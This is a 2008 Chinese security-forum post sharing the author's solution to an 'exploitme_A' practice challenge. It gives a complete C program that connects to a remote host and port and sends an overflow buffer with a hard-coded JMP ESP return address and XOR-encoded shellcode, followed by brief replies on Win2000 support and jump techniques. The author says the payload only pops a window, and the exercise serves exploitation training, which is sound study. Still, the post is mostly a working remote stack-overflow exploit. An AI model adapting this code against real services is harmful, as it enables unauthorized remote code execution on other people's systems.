首页
社区
课程
招聘
[原创]我的exploitme_A答案
2008-1-3 15:51 4113

[原创]我的exploitme_A答案

2008-1-3 15:51
4113
没什么好说的

SHELLCODE是我早期自己写的 还是弹窗口的  与B题一样.

test.c

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")

unsigned char shellcode[] =
//decode
"\xEB\x0E\x5A\x4A\x33\xC9\xB1\xF1\x80\x34\x0A\x97\xE2\xFA\xEB\x05"
"\xE8\xED\xFF\xFF\xFF"
//encode
"\x16\x7b\x2f\x9c\x97\x97\x7c\xd0\xc8\xf3\x36\xa7\x97\x97\x97\x1c"
"\xd7\x9b\x1c\xe7\x8b\x3a\x1c\xff\x9f\xfd\x95\xce\x7f\xd5\x97\x97"
"\x97\x75\x6e\xff\xa4\xa5\x97\x97\xff\xe2\xe4\xf2\xe5\xc3\x68\xc0"
"\x6f\x1c\x7f\x7f\xbc\x97\x97\x97\xa4\x57\xc7\xc0\xc0\xc7\x68\xc0"
"\x6b\xa4\x57\xc7\x68\xc0\x6f\x16\x53\x57\x9c\x97\x97\x7c\xce\x7f"
"\x23\x68\x68\x68\x19\xd9\x99\x7b\xe9\x4f\x75\xe4\x3f\x35\xda\x2b"
"\xf8\xfc\x97\xc6\xc1\x1c\xe2\xab\x1c\xe3\xb9\xef\x94\x62\xc1\x1c"
"\xe1\xb7\x94\x62\xa4\x5e\xde\xd6\x3a\x94\x52\xa4\x4c\x98\x29\x87"
"\xad\x41\xe3\x9f\x56\x5c\x9a\x94\x4d\xd7\x7c\x66\xac\x88\xe2\x70"
"\xc9\x1c\xc9\xb3\x94\x4a\xf1\x1c\x9b\xdc\x1c\xc9\x8b\x94\x4a\x1c"
"\x93\x1c\x94\x52\x3c\xc9\xce\x54";

int main(int argc, char *argv[])
{
        WSADATA ws;       
        SOCKET        s                = INVALID_SOCKET;
        int nLen                = 0;
        char buf[500]                = {0};
        struct sockaddr_in server;
       
        if (argc != 3)
        {
                printf("
  • Usage:%s Remote Port\n", argv[0]);
  •                 return 0;
            }
            //初始化wsa
            WSAStartup(MAKEWORD(2,2),&ws);
            //建立socket
            s=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

            //设置远程主机地址结构
            server.sin_family = AF_INET;
            server.sin_port = htons(atoi(argv[2]));
            server.sin_addr.s_addr = inet_addr(argv[1]);

            //连接远程计算机!
            if (connect(s,(struct sockaddr *)&server,sizeof(server) ) < 0)
            {
                    printf("connect error");
                    return -1;
            }

            memset(buf, '\x41', 500);
        memcpy(buf + 200, "\x12\x45\xfa\x7f", 4);        //JMP ESP

            memcpy(buf + 204, shellcode, 189);                //ShellCode
           

            //构造字符串后,发送
            nLen = sizeof(buf)-1;
            send(s, buf, nLen , 0);

            printf("send KyoCode Ok!");
            closesocket(s);
            WSACleanup();

            return 0;
    }

    看到其他几位的答案, 怎么觉得都较为麻烦啊.
    其实就用我这样的最简单的代码 不一样可以成功吗
    干吗要分2份shellcode??

    [培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

    收藏
    点赞7
    打赏
    分享
    最新回复 (4)
    雪    币: 8191
    活跃值: (4258)
    能力值: ( LV15,RANK:2459 )
    在线值:
    发帖
    回帖
    粉丝
    ccfer 16 2008-1-3 19:06
    2
    0
    你这个不支持win2000
    雪    币: 926
    活跃值: (362)
    能力值: (RANK:500 )
    在线值:
    发帖
    回帖
    粉丝
    humourkyo 12 2008-1-3 19:08
    3
    0
    memcpy(buf + 200, "\x12\x45\xfa\x7f", 4);  //JMP ESP
    是jmp esp地址的原因吗?
    雪    币: 112
    活跃值: (16)
    能力值: ( LV9,RANK:290 )
    在线值:
    发帖
    回帖
    粉丝
    壹只老虎 7 2008-1-3 19:21
    4
    0
    等兔子发他的东西出来,嘿嘿1
    雪    币: 6051
    活跃值: (1441)
    能力值: ( LV15,RANK:1473 )
    在线值:
    发帖
    回帖
    粉丝
    lelfei 23 2008-1-3 19:48
    5
    0
    用RET跳转是最安全的~~
    游客
    登录 | 注册 方可回帖
    返回